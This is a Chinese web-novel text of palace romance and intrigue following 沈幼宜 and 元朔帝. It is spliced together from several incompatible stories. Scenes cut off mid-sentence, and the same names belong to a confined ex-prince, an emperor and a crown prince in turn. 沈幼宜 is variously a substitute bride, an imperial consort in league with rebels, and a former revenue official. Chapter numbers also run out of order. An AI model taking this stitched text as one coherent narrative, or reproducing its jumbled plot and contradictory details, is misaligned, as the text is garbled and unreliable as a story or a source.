再次转醒时,天色已暗,屋子黑乎乎的一片,她下意识摸索着要下榻点灯,却忽然摸到一个人的手! 她吓得倒吸一口凉气,正要出声喊人。 “是我。”沈幼宜一头热地在逐步完善自己的小院,元朔帝偶尔会陪她一起布置,提点可有可无的小建议。 她也不是总听他的,比如坚持要给屋里的每一个烛台围一圈灯罩,上面的图案还要自己画,不让元朔帝插手。 这些小事对元朔帝来说无足轻重,他根本不会在意。 这日,元朔帝坐在窗边的罗汉榻上看书,沈幼宜坐在他对面做针线活,两人中间隔着一张浅木色案几,案几上放了一碟桂花乳酪,不过谁也没有动。 他们互不打扰,各做各的,却意外和谐。 沈幼宜行针时不小心戳到指尖,但她惯是能忍的,没有出声,只是微咬住下唇,顺手抹掉迸出的血珠子。 顺势抬头活动活动酸紧的脖子,正好瞧见元朔帝看书的样子。 他喜欢拿起书看,而不是放在案几上低头读,也不靠在后背的大迎枕上,就那么挺直胸膛,端坐而视,显得雍容华贵,气度斐然。 书卷正好遮住他下半张脸,只露出清隽的眉眼,他垂着眸认真浏览。 温和的天光漫过他的眉骨,鼻梁,止步在书册最顶端,往下是看不见的深色阴影,将他的脸割裂成两部分,黑白分明。 上面是温润的玉,下面是浓稠的墨。 俊朗华贵的容貌,温文雅量的气质,元朔帝仅是坐在那,便是一幅绝色的画。 沈幼宜莫名想起顾焱读书的样子,若是换成他,指定早就瘫在上面,不到半炷香就会以书覆面呼呼大睡。 “笑什么呢?”元朔帝抬眼望向对面,手纹丝不动:“我脸上有什么东西?” 沈幼宜这才发现自己笑出声,连忙敛了笑意,心虚移开眼,“没、没有。” 元朔帝也不深究,兀自继续专注看书,只不过再有视线落在他身上时不再分神,岿然不动地任其打量。 左思进来的时候,又看见沈幼宜盯着元朔帝的脸在发呆,假咳一声:“殿下,六皇子和沈小姐来了。” 原本还在安静看书的元朔帝瞬间放下书册,转头看向屋外。 “殿下……”沈幼宜敏锐地捕捉到他脸上一闪而过的寒意,一下子愣住了。 元朔帝再转过头时又变得温和,仿佛刚才的变脸是沈幼宜的幻觉。 他唇边含着一丝讥讽的笑:“我的弟弟来了,我去看看他,晚膳不用等我。” 六皇子名为赵明澜,是李贵嫔的幼子,亦是元朔帝唯一的亲弟弟。 元朔帝走入他那座荒芜小院的书房时,赵明澜和沈盈丹已经在里面等候多时,他眉头紧皱环视四周,见到元朔帝进来时连忙迎上去。 “大哥!”他满脸担忧,急得眼睛都红了:“你怎么样,在这里有没有受苦?” 沈盈丹看着气质卓然,风度不减的元朔帝也跟了过去,拿出手帕就开始抹眼泪:“太子哥哥,丹儿好担心你。” 元朔帝先回赵明澜,语气不紧不慢:“我在这里挺好的,每天都过得悠闲自在。” 又看向沈盈丹,“我已经不是太子,沈小姐小心祸从口出。” 赵明澜显然没想到元朔帝这么沉得住气,拱火道:“大哥别说丧气话,父皇之前只是在气头上。你瞧,他现在允许我进来看你,就是想给你个台阶下。” 元朔帝似笑非笑看着他:“哦,什么台阶?” “大哥只要跟父皇认个错,再交出贪官名单,他定然会网开一面。”赵明澜略带稚气的脸上露出几分急切:“这可是千载难逢的机会,大哥可别再犯糊涂了。” 沈盈丹在旁边听着,总觉得哪里不对劲。元朔帝若真按照赵明澜所言认错,岂不是坐实他结党营私,谋害朝廷命官的罪状。 虽然朝野内外都一致认为严珩一的死与元朔帝脱不了关系,但除了举报之人的口供外,其余证据不足以定罪,皇帝为了安抚众臣便将他圈禁在西巷口。 “六弟,欲加之罪何患无辞。”元朔帝油盐不进,他走到书桌前,拿起桌上的毛笔,沾了沾还未干透的墨汁,开始慢慢画画:“我的事情你不要管,顾好自己的日子便是。” “大哥是不是有别的打算。”赵明澜不甘心地继续问:“需要我帮忙吗?” 元朔帝声音变得冷淡:“没有,也不需要你做什么。你走吧,我以后不能再护着你了,在宫中万事小心。” 赵明澜不死心地想继续劝他,被沈盈丹抢了过话头:“太、明斐哥哥,我那几天生病了,不省人事,等我醒来,母亲说已经找了其他人替我嫁给你,我为此和家里大闹一阵,但他们说事情已成定局,” 沈盈丹急切解释,即便她的生病有几分自愿在里面,可她依旧想给元朔帝留下好印象。 人就是有这样奇怪的占有-欲,哪怕明知道他们两个再无可能,沈盈丹依旧希望自己在元朔帝心中占有一席之地,最好是不会再爱上任何女人。 “沈幼宜她为人无趣得紧,又容姿平庸。”沈盈丹故意贬低道:“年龄也偏大,身份卑微不懂规矩,冒犯你的地方请看在她是我妹妹的份上多多担待。明斐哥哥你不需理会她,就把她当成个小猫小狗似的扔在一旁便是……” 元朔帝闻言,抬头看向沈盈丹。 他的眼神淡漠无波,却让沈盈丹有种惊心动魄的悚然,她顿时噤了声,后面那句“她不会生气的”生生咽了回去。 “沈幼宜现在是我的妻子。”元朔帝语气冰冷:“不是什么阿猫阿狗,沈小姐用此比喻,岂不是也看低了自己。” 沈盈丹心中一凛,顿觉有口气不上不下地吊在胸口,压抑难受,她强颜欢笑:“我只是随口一说,她性子不好,怕惹你不高兴。” 元朔帝悠悠收了笔,面含微笑道:“她很好,我心甚悦。” 书桌上,赫然是沈幼宜的丹青图。 沈盈丹的脸霎时一阵青,一阵白,视线黏在纸上像要烧出个窟窿。 赵明澜见气氛不对,赶紧从门外随从手里拿过一个天青色绸缎包袱放在元朔帝书桌旁,担忧道:“娘亲很担心你,但她身份敏感不敢明着表示,就亲手做了一身衣裳拖我带给大哥,盼你平安。” 元朔帝淡淡瞥了眼包袱就移开目光,不变喜怒道:“替我谢谢李贵嫔的记挂。” 赵明澜听见他对娘亲的称呼,心里冷不丁咯噔一下。 赵明澜和沈盈丹两人乘兴而来,败兴而归,谁也没得到想要的结果。 沈盈丹越想越气,沈幼宜算个什么东西,她不过是个在自己身边伺候的下人,要不是抬举她,怎么有机会做元朔帝的正妻。 她就算撞了大运嫁给他,也该守本分,绝不该勾-引元朔帝,“我心甚悦”四个字简直像四把利刃直戳她的肺管子,沈盈丹呼吸之间都在剧烈疼痛。 离开西巷口的路上她撞见有宫人在搬运枇杷树,好奇地问了句,在得知是元朔帝吩咐给沈幼宜专门找的,愤怒简直达到顶点,气冲冲就要去云梦阁方向找沈幼宜麻烦,被赵明澜险险拦下。 赵明澜正烦着,父皇交代的任务没有完成,眼看沈盈丹又要惹事。 “这里是西巷口,不是沈府。”赵明澜在沈盈丹面前懒得装天真,厉声道:“你要找死别拉着我。” 他来的时候看见西巷口外面的围墙三步一岗,五步一哨,银甲森森,长枪寒寒,连一只鸟都飞不进来,一举一动皆在皇帝监视下,哪敢造次。 沈盈丹不甘心地望了眼云梦阁的方向,等皇后寿辰那日她定要好好教沈幼宜些规矩,让她明白有些东西不是她能够肖想的。 天色渐暗,元朔帝虽说不用等他,但沈幼宜在得知他没叫晚膳后还是装了吃的来到他的小院,得知他在书房后轻轻敲门,低声唤了句殿下。 里面立即传来脚步声,不一会儿房门便被打开,沈幼宜闻到一股烧焦的味道,不由皱了皱眉。 元朔帝开门看见她没说话,视线移到手里的食樏,顿了顿:“不是叫你不用等我。” 沈幼宜从他温和的声音里听出僵冷,她置若未闻,自顾自抬手举起吃食,“我习惯和殿下用膳了,今日少了您,总觉得味道不对。” 元朔帝以为她下一句会劝他用膳,心里不由烦躁起来,觉得沈幼宜有几分恃宠而骄,不料面前的人展颜一笑。 “殿下您忙自个儿的不用管我,我看着您吃就成。” 元朔帝被她逗笑了。 元朔帝? “看你在休息,便没有点灯。” 沈幼宜动了动喉咙,压下胸口那股惊颤,急忙问:“殿下,结果如何,她招了吗?” 回答她的是沉默。 隔着黑暗,沈幼宜看不见元朔帝的表情,心逐渐沉了下去。 难不成青梅还有后手,且已经造成了不可估计后果。 元朔帝就这么坐在床前,冷眼看着沈幼宜两条柳叶眉拧成一团,脸上先是出现惊慌,而后变为担心。 他有个旁人不知的秘密,能在黑夜中如白昼般视物。 人在黑暗中或因恐惧,或因放松会展露出自己最真实的一面,他借助黑暗看清了许多人的真面目。 元朔帝欣赏够她的担忧后,温声开口:“青梅自戕了。” 沈幼宜瞪圆了眼,显然没想到会是这样的结果,但她很快冷静下来给元朔帝出主意。 “殿下,不如用她的死找出西巷口里的同伙。我们可以假装她生病,再派人看着谁会去探病,尤其是在夜深人静之时不走寻常路的去。青梅自幼长在沈府,根本不会认识西巷口里的宫人,除了同伙我想不到其他人。” 好聪明的姑娘。 元朔帝忍不住露出欣赏之色,她竟然与他的想法不谋而合。 沈幼宜补充道:“除了亲自前往探病的,还有旁敲侧击打听她病情的,统统要抓起来审问一番。” 她皱着眉,眼睛半眯,条理清晰地分析计划的可行性,不时冒出几个新奇的点子,她认真思考的模样被元朔帝尽数看在眼里,真心实意的表情令他微微动容。 沈幼宜的确诚心实意为他着想。左思蓦地舒展眉毛:“大皇子妃您别自个儿来,废殿年久失修,说不准哪处就有危险。您有什么需要跟奴才说一声,万不要自己轻易冒险。” 沈幼宜还没来得及走入屋内,就被恭恭敬敬请出去。 离开前她忍不住回头看了一眼,这处废殿大门恢弘,门口还高高挂了两盏大红灯笼,灯笼下坠着明黄流苏,依稀能窥探几分刚建成的奢靡。然而时过境迁,里面一切像被蒙了一层灰色,在阳光照射下有种诡异的宁静。 林风徐来,她闻到一股若有似无的腥臭味,不舒服地捂住口鼻。 沈幼宜问:“这里是哪里?” 左思脚步未停,脸色发白催促她离开:“是前朝宠妃身前的居所,里面不干净!” 晚间用膳的时候,元朔帝说起她今日误闯废殿这件事,他和左思异口同韵,话里话外都是让她不要乱走。 他知道沈幼宜在布置房间,没想到她这么认真。 元朔帝不想今天的事情再次发生,便道:“我平日里住自己那处习惯了,你不必这样劳心费神,来回也费不了多少功夫。” 沈幼宜手中动作微顿,笑容僵在脸上,干巴巴道:“殿下不住也没关系,我就是闲来无事布置玩儿,打发时间罢了。” 元朔帝听她语气失落,猜测她大抵是希望自己多陪陪她,这种留人的手段算不得高明,端看对方愿不愿意。 好在目前元朔帝对沈幼宜尚有几分耐心,于是便道:“下次还要找什么,我陪你一道去。” 沈幼宜低垂的头骤然支棱起来,言不由衷道:“会不会耽误殿下的正事。” 她脸上的喜悦溢于言表,眼眸含情波光潋滟,看得元朔帝莫名心生怜惜。 谁能对着一个眼里都是你,全心付出不求回报的美人说出拒绝的话呢?更何况她的要求那么低。 元朔帝笑着说不耽误。 沈幼宜怕元朔帝又有事,第二日就赶忙拉着他四处寻物,寻了大半天也没找到能用的东西,不是缺了这个角,就是坏了那个腿,最后两人还被一场大雨困在半山腰的亭子里。 夏雨如瀑,山风夹带雨针斜插入亭。 元朔帝站在沈幼宜身后挡住风雨,然而她的脸颊仍被斜雨刺得发白,浮起一层细密的水珠。 “没想到西巷口这么大。”沈幼宜望着朦胧的山峦感慨道:“今日不该走这么远的,下次要带把伞出来,也不知道这雨要下到什么时候。” 她出门前其实找过伞,不过半天都没有找见一把,也就作罢。 元朔帝被困孤亭脸色没有半分不耐,倒是对将沈幼宜执着于一个烛台而好奇。 “我听说有一种烛台,能够让蜡烛不间断燃烧。”沈幼宜喃喃道:“因为屋子很暗,要一直点着灯。” 无论远方的人什么时候回来,都能找到家的方向。 元朔帝低头,沈幼宜乌黑的睫毛上挂满细密的水珠,随她的声音簌簌颤抖。他忽然想到她曾说过自己怕黑,入夜后总是将房里点满了灯。 有时站元朔帝在烟波洲二层临窗前远眺也能窥见云梦阁的烛光,在黑寂无垠的西巷口尤为显眼。 元朔帝眼眸不自觉软了下来,故意打趣道:“你这样用心布置,也不知道能享受多少天,不嫌麻烦吗?” 沈幼宜:“哪怕明天要被赐死,今天也要好好过。” 沈幼宜提起生死之事没有半点畏惧,她转过身抬头对上元朔帝的眼睛:“我想和你好好过日子,就算是只有一天也要认真对待。” 既然结局注定是死,她在临死前要想尽一切办法弥补从前的遗憾。 元朔帝勾起唇角,问她:“你觉得是谁指示她做的?” 这次换成沈幼宜沉默。 元朔帝的笑渐渐敛了下来,他的声音依旧温柔,眼神却寒如凉夜,“是沈夫人,还是沈家要害我?” “不。”沈幼宜毫不犹豫否认:“沈夫人不会做这样的傻事。” 沈夫人为人玲珑八面,绝不会轻易得罪任何人。元朔帝看似失势,可谁能保证他不会东山再起,即便这个机会渺茫,她也不会赌这万一。 选沈幼宜作为替嫁人选,为的是稳妥,而非给沈家招恨。离府前,沈夫人还特地交代她能讨元朔帝欢心最好,若不能也不要得罪。 皇帝年事已高,只要皇位上一天没有坐上新皇,任何人都有机会问鼎龙座。沈夫人若是真想害元朔帝,会把这个任务交给身为正妻的她,而非一个连元朔帝面都见不了的奴婢。 元朔帝循循善诱:“可青梅是沈盈丹的人,沈盈丹又是沈夫人的掌上明珠,除了她还有谁?” 沈幼宜咬住下唇,眼里闪过震惊,纠结,最后变成不忍心和心疼。能同时将手伸进沈家后宅和西巷口的,她只能想到一个人,可这怎么可能呢? 元朔帝轻叹一声:“算了,我得罪太多人,想要我命的何止是一个沈家。” 沈幼宜听他自嘲道:“我已经躲进西巷口,他们还不肯放过我。罢了,你好好休息,不用管剩下的事情,知道的越少,对你越好。” 他起身离开床榻的刹那带起一阵凉风,冰冷的风钻入她的鼻腔,弥散入体,后背无端生出冷汗。 沈幼宜莫名有种预感,今日元朔帝离开后,她怕是再也找不到理由接近他。 自从顾焱死后,她变得害怕黑暗,入夜后总要点亮满屋的灯,但内心的空洞荒芜,再多的光也无法填满。 唯有在看见元朔帝笑的时候才会缓解一二,如今连这点奢望好像也要被剥夺。 沈幼宜顿时陷入恐慌中,原来她自以为的坚强如此脆弱,一缕微不足道的风就能轻而易举将她推倒,她害怕失去与顾焱相关的最后一点东西。 “殿下……”她在黑暗中胡乱地抓,在元朔帝彻底离开床榻前勾住他的尾指,她抓紧后死死攥住:“殿下心中早已有答案,不是吗?” 元朔帝停住了脚。 沈幼宜怕他再次离开,怕独自面对黑暗,恐惧让她将心里的顾忌尽数打散。 “是陛下,青梅是陛下的人。” 黑暗中,她感受到元朔帝的五指慢慢收拢,好像在极力克制住自己的情绪,粗重的呼吸环绕在耳边。 沈幼宜头一次感受到元朔帝明显的愤怒。 据说当年他出生时皇帝喜极而泣,大赦天下,更是为他阅尽群书,亲自定了“斐”这个字,寓意斐玉成器。 皇帝对他的喜爱天下皆知,他不是嫡子,就让他寄养在皇后名下。亲自教他读书识字,骑射舞剑,七岁带他议事,十岁允他参与朝政,十四岁元朔帝已经能够主理一方政务,他主张的改革也得到皇帝的大力支持。 他对元朔帝的偏爱有目共睹,故而沈幼宜猜测幕后主使是皇帝时才会心情复杂,不敢直言。 元朔帝无声扯了扯唇角,重新坐回榻上,反手握住沈幼宜的手,讥笑道:“要我死的人是皇帝,我必死无疑。” 隔着黑暗,他问:“沈幼宜,你如今可后悔嫁给我?” 元朔帝面无表情盯着沈幼宜的脸,不放过她的任何一个细微的表情。 这一刻,他自己也说不清楚想从沈幼宜嘴里听到什么回答,是贪生怕死的恐惧,心有不甘的怨恨,亦或是虚与委蛇的奉承。 自他掌权以来,元朔帝罕见体验了一回等待宣判的滋味。 沈幼宜毫不犹豫回答道:“从未。” 沈幼宜想起咬着他手指磨牙的时候,她清醒的时候当然克制,但人也有不清醒的时候,回归最原始的本能。 她微微一笑,难得生出些轻快来:“听见了也没什么不好,修媛娘子与我积怨已久,并不在陛下这一夜两夜的恩宠,难道她听不见,明日就会对我和颜悦色了么?” 贵妃要生皇子,要威胁太子的登基之路,两个野心勃勃的女人聚在一起,若不是担忧那些事败露后对太子不利,杨修媛早就想撕下她一块肉。 沈幼宜的声音轻缓:“入了宫的女人哪有不争宠的,我这些时日病着,也教她得意太久了。” 第 52 章 第 52 章 出过一身的汗,尽管身子还是沉的,但精神上却有说不出的松快。 沈幼宜想,她该好好编织出一个与皇帝有关的梦来,来应付第二日的盘问。 是该编造一番她在燕国公府暗自倾慕他的故事,还是大着胆子透露一些她在沈家生活的过往? 但出乎意料的是,她今夜确实做了一个梦,且与元朔帝有关。 红罗帐内,年长的男子从她身上取了一段绸带,缓缓抚上美人面颊。 这样的场景她并不陌生,满心期待地合上眼睛,享受温柔的爱抚。 然而她却没有注意到,身前的天子神情已然冰冷如霜。 他的气息喷洒在她的肌肤上,言语却不再温存:“沈氏,你当真侍奉过太子么?” 沈幼宜惊愕地睁开眼,那段绸带竟已系在她的颈间,且在缓缓收紧! 她几乎透不过气来,想用力挣扎推搡,却怎么也撼不动那堵墙。 他怎么不问一问前后经过,给她些狡辩的机会,就这样定了她的死罪! 然而在她陷入几乎死亡的恐惧时,那根绳忽然就松了下来。 元朔帝抚上那道血痕,轻声道:“宜娘,朕没有成人之美的习惯,你既做得出,那便知道,欺瞒朕到底会落得什么下场!” 她想要开口狡辩,然而天子却目色沉沉:“朕用过的女人不能送与旁人,但父子聚麀是人伦丑事,朕也断然留不得你了!” 元朔帝冷淡应了一声,果然看见沈幼宜露出了更加委屈不满的神情,他被逗笑,嘴边挂起淡淡的笑意,伸手掐了一下沈幼宜的脸蛋。 还挺软的。元朔帝本就没怪罪江恒之,两人是表兄弟,他了解江恒之是什么性格的人,这事都是前朝余孽作乱,歹人难防。 两人说了会话,一边的沈幼宜警惕察觉到江恒之在她脸上探寻的目光,她心里微紧,有些担忧起沈拂的安危。 照江恒之的反应看,阿拂的真容和身份必是被他发现了,不然江恒之应该不会这么关注她。 “拿酒来,我与表哥喝几杯。” 江恒之主动喝酒请罪,情绪似乎有些不对劲,和往常那副温润的样子有些不同,元朔帝知道江恒之身上有伤,当然要拦着他喝酒,于是元朔帝便多喝了几杯,抢下了江恒之手中的酒壶。 有外男在场,沈幼宜自觉起身退下,谁知刚站起来江恒之就笑着叫住她,“奉仪娘娘不用避讳,臣与殿下是表兄弟,自家人就不用过于在意礼数了。” 江恒之这么说,沈幼宜就只能硬着头皮坐下来,装作担忧元朔帝,劝他少喝些酒。 “这里不用你在,你去寝殿里等孤,自己吃些点心去。”元朔帝打发沈幼宜回屋了,继续陪江恒之喝酒。 其实他察觉到江恒之情绪不对,但没想到这情绪是对着沈幼宜来的,他们素不相识,江恒之怎么会针对沈幼宜?可是以他对江恒之的了解,方才江恒之看沈幼宜的眼神,明显是不善的。 “殿下可知刺伤我的女刺客长什么样子。” 元朔帝脸色平静,往沈幼宜离去的方向看了一眼,缓缓道:“难不成,就是上次说的,与沈幼宜有几分相似的女工匠?” “是。”江恒之又喝了一口酒,冷声道:“上次我说的不对,不是有几分相似,是一模一样,那女工匠一直伪装容颜,没有露出真容,后来我无意间看到才发现,她们不是几分相似,是如出一辙!” 世间除却双生子,还有几人能长成一副模样,这几率太小,几乎不可能。 所以江恒之怀疑,东宫里的沈奉仪,或许也和前朝余孽脱不开干系,其中定有什么关联在里面。 “就算是双生子,那也是两个不同的人,沈幼宜是孤的人,也是鸿儿和清儿的母亲,她不可能有问题。”元朔帝笃定地说 沈幼宜有太多机会刺杀他,若她有问题,早就动手了,不会心甘情愿生下孩子,对于江恒之的质疑,元朔帝只觉荒谬。 元朔帝不信,江恒之也就不说了,他也不确信沈幼宜有问题,就是一个猜测而已,毕竟那个女刺客和沈幼宜实在太像了。 夜里,送走了江恒之,元朔帝回到寝殿中,却并未在屋里看见沈幼宜的身影。 连接寝殿的浴池里有水声传来,元朔帝喝得微醺,抬手揉揉额头,缓缓往浴池方向走。 看沈幼宜瞪圆了眼睛,元朔帝有些恋恋不舍地松手,嘱咐道:“莫要贪玩,逛够了就快些回去。” 说罢,他唤来福案和随行暗卫,让他们跟在沈幼宜身后保护,然后就跟工部官员走了。 沈幼宜当然是要逛够了才回去的,她不让福案和暗卫紧跟着,都离得远远的,然后自己一个人走在最前面,拿着从福案身上搜罗来的银子在各种铺子里花钱。 女人在首饰和衣裳铺子里逛是在正常不过的事情,暗卫并没有跟进去严防死守,只是远远的看顾着。 “奉仪娘娘可知,元朔帝这么急匆匆的丢下你走了,是为了什么?”凌酒言手拿折扇,笑得风度翩翩,借着琳琅阁人多眼杂,正大光明站在沈幼宜身边笑着问。 沈幼宜冷眼瞥他,悠闲地笑了声,“难不成你们把萧家皇陵炸了?” 前几日她刚从元朔帝书房里临摹了一副皇陵布防图,今日工部就出事了,不是皇陵那边的事还能是什么。 “阿宜姐姐真是聪明呐,还真叫你猜对了,你妹妹沈拂的身份被江恒之发现了,为了趁乱逃跑,一不做二不休,炸了皇陵已经修好的东南角。” 皇陵被炸之后,魏庄的人趁势而起,散布天降流火惩戒萧氏皇族的流言,在青州一代搞得人心惶惶,京都离青州有些距离,所以流言还没有传过来,但也快了,这事闹得很大,是瞒不住的。 沈幼宜挑选玉簪子的手一顿,眸子瞬间冷了下来,微笑着看向凌酒言,手指在簪子的最尖端轻轻摩挲,“这可、真是个好消息呢!那阿拂现在怎么样了?可有受伤?” 凌酒言向来嘴欠,他本想吓一吓沈幼宜,说沈拂重伤要死了,但看沈拂这幅要杀人的样子,他毫不怀疑这女人的狠劲,只要他敢说沈拂死了,沈幼宜就能现在要了他的性命。 他抽抽嘴角,实话实说:“没事,你妹妹你还不知道吗,以沈拂的身手,能伤到她的屈指可数,倒是江恒之伤得不轻,被沈拂捅了一刀,江恒之从小和元朔帝一起长大,虽是表兄弟,但胜似亲兄弟,恐怕这次……沈拂难逃天罗地网。” “魏庄这些人都是吃干饭的?只管让她去做事,却没能力善后?若是势力单薄至此,还谈什么复辟,直接向萧家俯首称臣算了,说不定还能捞个郡王县王当当!”事关亲妹妹生死,沈幼宜很难保持冷静。 元朔帝对她还算宽容,看似好说话,惯着她所作所为,但这不代表元朔帝这个人心慈手软,他稳坐储君之位,架空皇帝大半权力,背地里不知道除掉了多少人,表面温润稳重,实则手段狠辣,寡淡高傲。 阿拂给了江恒之一刀,元朔帝必定会追杀阿拂,不死不休。 “你急什么,没说不管啊。”凌酒言夺过沈幼宜手中的翠玉簪子,爽快拿出银子买下,慢慢悠悠地继续说:“义父说了,沈拂有异心,魏庄没办法对有异心的人拼力相护,就算是他的亲生女儿也不行,你们双生姐妹同气连枝,魏庄很难保证你们的衷心啊。” “想要什么,直说便是。” “义父知道你们俩不想参合复辟的事,所以这次,也算是你们一个远走高飞的机会,只要你再生下一个儿子,并且将这个孩子交给慕鸳抚养,我们就会护着沈拂去塞外躲起来,也会助你假死,让你功成身退,怎么样,你意下如何?”凌酒言笃定地看着沈幼宜,等着她回答。 原本第一胎的两个男孩,魏庄就想要沈幼宜亲抚养,方便以后魏庄行事,但沈幼宜不争气,留不住孩子的养育权,也留不住元朔帝的心,她这么不中用,魏庄是不准备扶持她了,索性换成更衷心的慕鸳来做。 可惜慕鸳不是魏庄庄主的亲生血脉,所以这孩子还是得沈幼宜来生,只有这样,将来魏庄扶持的小皇子才是前朝皇室的骨血。 沈幼宜冷笑盯着凌酒言,就猜到魏庄不会真的大发善心放她离去,魏庄想要榨干她最后一点作用,用自由引诱她,自以为拿捏一切,也不怕到头来引火烧身。 怀孕到生子是一年,一年时间,足够阿拂动手了…… “成交。” 元朔帝的面色平静,却将沈幼宜那双纤若无骨的手放在太阳穴上:“而后被人打了。” 沈幼宜替他按揉舒缓,乍一听到此事,不厚道地笑出声来,赵王也是活该,但这个与那女子有关的人,勇气着实令人佩服。 赵王是天子的亲兄弟,她的家人竟然不惜冒着杀头的罪,来为这个姑娘出一口恶气,可见有情有义得很。 元朔帝猜到她会笑这些不能外传的皇家秘辛,然而更教人恼怒的却在后面。 “宜娘不问问打人的是谁?” 沈幼宜摇头,莞尔道:“这很要紧么……要是很重要,陛下一定会亲口告诉我。” 元朔帝颔首,语气中略带了几丝无奈:“是他的大儿子,今年才十六岁。” 沈幼宜“呀”了一声,疑惑道:“这位郎君是做什么,为他阿娘出气?” 第 53 章 第 53 章 元朔帝几乎被她气笑,这孩子吃醋的方式固然出格,但也不过是想引起他一点恼怒:“朕什么时候认真同你动过手?” 他真正恼怒的是太子那份转瞬即逝的心虚。 被一个属于他父皇的美人好奇打量了片刻便如此慌乱,其心性可见一斑。 就是最生气的时候都没打过她一下,大概又是这个小骗子装可怜哄人,元朔帝道:“宜娘以为朕是暴君么?” 沈幼宜摇头,呢喃道:“就是做了噩梦,陛下在梦里会杀了我的。” 元朔帝无奈看了她一眼,淡淡道:“真不该听你那番胡话,梦里的事情如何能当真,今后还是吃药调理为好。” 这种歪门邪道本就透着一股荒唐的味道,他为美色所诱,竟然也鬼使神差地答应下来,简直成了笑话。 沈幼宜见他会错了意,哀怨道:“陛下就不能说两句好听的哄哄我么,您可疼我了,无论如何都舍不得赐死我,汉文帝这样的君主为了一句谶言能给男宠赐铜山,我就要两句好听的话,您都要吝啬?” 车驾过东华门时,沈幼宜略略掀起了马车侧帘。 文武百官俱在此下马落轿,尤其今夜宫廷设宴,侍卫盘查愈加严苛。 女眷多从西华门过,二品以上诰命夫人可在此改乘一顶小轿,视作殊荣。 沈幼宜很快收回目光,帝王御驾自奉天门入宫城,一路畅行无阻。 车内小案上备了三五盏糕点,沈幼宜取了一块芙蓉糕,盘算着晚间开宴的时辰。 “陛下。” 宫中的姚尚仪奉旨候在廊下,引沈三姑娘去给太后娘娘请安。 帝王笑沈温和,将备好的手炉递与沈幼宜。 此处离寿安宫不远,沈幼宜到时,只比秦氏一行晚了半刻钟。 “母亲,二姐。”元宵佳节,拂晓时分,沈府上下即为入宫事宜忙碌起来。 依照府中安排,大姑娘沈姝安心在府内备嫁,并不参与今夜的宫宴。 辰时光景,秦氏带着装扮停当的二姑娘与四姑娘先行登上了入宫的车驾。 年节过后,太后娘娘即迁往颐安行宫修养。今日入宫若能蒙太后娘娘另行召见,也是家中女孩儿们的幸事。 秦氏再三与两个女儿叮嘱,至于三姑娘沈幼宜则单乘一辆马车,稍后随宁远伯入宫。 天家威仪,宫苑深深,秦氏照看两个女儿已是尽心,无暇再顾及沈幼宜,由得宁远伯安排。 “姑娘喜欢哪支步摇?” “嬷嬷做主便可。” 瑶华院内,宫廷的姚嬷嬷仔细为沈幼宜梳妆毕,又取了套备用的衣裙,方才在巳时末陪伴三姑娘出了伯府。 马车并不急于入宫,而是停在天和茶楼外。 “三姑娘。” 秦让守于廊中,为沈幼宜打开了雅舍房门。 碧玉垂珠的流苏随女郎的脚步轻晃,沈幼宜一礼:“陛下万福。” 还未到午膳时分,天和茶楼的膳房已经预备好了菜式,随时等候烹饪。 元朔帝此番来接沈幼宜一道入宫,时间尚有些闲暇。 新到的江南贡茶,帝王亲自点茶。他今日换了苍青色锦袍,袖口处滚了一圈金边。 几日未见,二人闲闲叙话。元朔帝将一盏清茶放至沈幼宜手边,道:“近日在忙些什么?” 沈幼宜简单答:“随嬷嬷们学礼仪规矩。” 厚厚几册宫规,嬷嬷们皆道她掌握得甚好。 说起府中其他杂事,沈幼宜自己都觉得有趣:“还跟着沈府的账房,学了些管家理账的本事。” 帝王失笑,眸色愈加温柔:“怎么不拒了?” 沈幼宜,沈长瑾,昔日户部最年轻的五品郎中,江南贪墨案错综复杂的账本都能查得风生水起,还需在沈府学内账。 沈幼宜眸中蕴一点别样的神采,语气自信,却丝毫不让人觉得恃才傲物:“是啊,我也没想到,还有人试图教我算账。” 秦氏点一点头,让三姑娘站到自己身后。寿安宫的规矩不比外间,秦氏来时也是再三叮嘱两个女儿。 宁远伯府在京都算是排得上号的勋贵门第,因而能请得宫人通禀,与新平伯府的女眷一同入内拜见太后。 先帝纯孝,在位时曾重修过寿安宫。沈幼宜偶然在户部翻阅卷宗,依稀还记得其中记录的几宗花费。 现下身处寿安宫中,满室清贵,可见银两多半用到了实处。 正殿内,新平伯府的太夫人在前,携两府晚辈们行礼如仪。 “臣妇拜见太后娘娘,恭请太后娘娘金安。” “太后娘娘金安。” 紫檀木雕花的凤座上,言太后着一件石青色缕金祥云纹凤袍,梳理得一丝不苟的高髻上,一支碧玉瓒凤钗尽显高华。 “都起来吧。”太后娘娘今日兴致不错,“赐座。” 侍女们依次奉上清茶,殿内半句杂音也无。 言太后自上首闲闲打量过去,伯爵府年轻一辈的姑娘们花朵一般娇艳。 她的目光在一位着天青色如意月裙的女郎身上稍一停留,凤座旁的嬷嬷见状,上前低声耳语几句。 太后心中便有了数,宁远伯府的三姑娘,近日才接回京中。 沈幼宜猜想这位便是女官们提起过的福宁姑姑。她是太后自言府的陪嫁,陪伴太后几十年,深得娘娘信任。 太后吩咐一句,福宁招手,示意沈家三姑娘上前。 “臣女给太后娘娘请安,太后娘娘万福金安。” 沈幼宜再度屈膝行礼,落落大方。在裕水岸旁捧着一盏莲花灯时,沈幼宜忽而就不敢轻易许愿了。 她望了望依旧立于身侧的白衣郎君,一如那日在天齐庙中。 手中的莲花灯做得不算精致,沈幼宜默默闭上眼,几息后复又睁开。 她蹲下身,精致的袖摆拂过,将那盏花灯轻轻送入水中。望它顺水飘远,与河上花灯渐渐合于一处,汇成一道光海。 沈幼宜垂眸,此处僻静些,像偶然觅得的桃源,又像是卷入风波前最后的宁静。 她无声叹息,既然脱身不得,看来宫廷泼天的富贵,老天爷是执意让她享一享了。 再抬眸时,女郎已收整好所有情绪。 莲花灯在夜幕中散着微光,寄托着一道道美好愿景。 元朔帝为她扶正鬓边一支珠钗,她似乎总有些未尽的心愿,想要求向神佛。 “还有什么想要的?” 沈幼宜由他动作,帝王的话语落至耳畔,她只道:“没有了。” “上次在天齐庙中的愿望,已经实现了。”她自嘲地笑笑。 莲花灯随水波荡漾,沈幼宜望了一会儿,安静道:“时辰不早,我……们该回去了。” 清冷的月光下,两道身影并肩偕行。 沈幼宜有些倦,失了说话的兴致。 马车穿街过巷,宁远伯府为三小姐留了一扇角门。 踏着月色,那抹窈窕身影渐消失在视野中。 马车内似乎还留着茉莉的香气,元朔帝凝神许久,唇畔浮起清浅一抹笑意。 那时在天齐庙中,她求官运亨通,姻缘顺遂。 今日,她道愿望已然实现。 瞧着礼数进退合宜,叫人赏心悦目,挑不出半分错处。 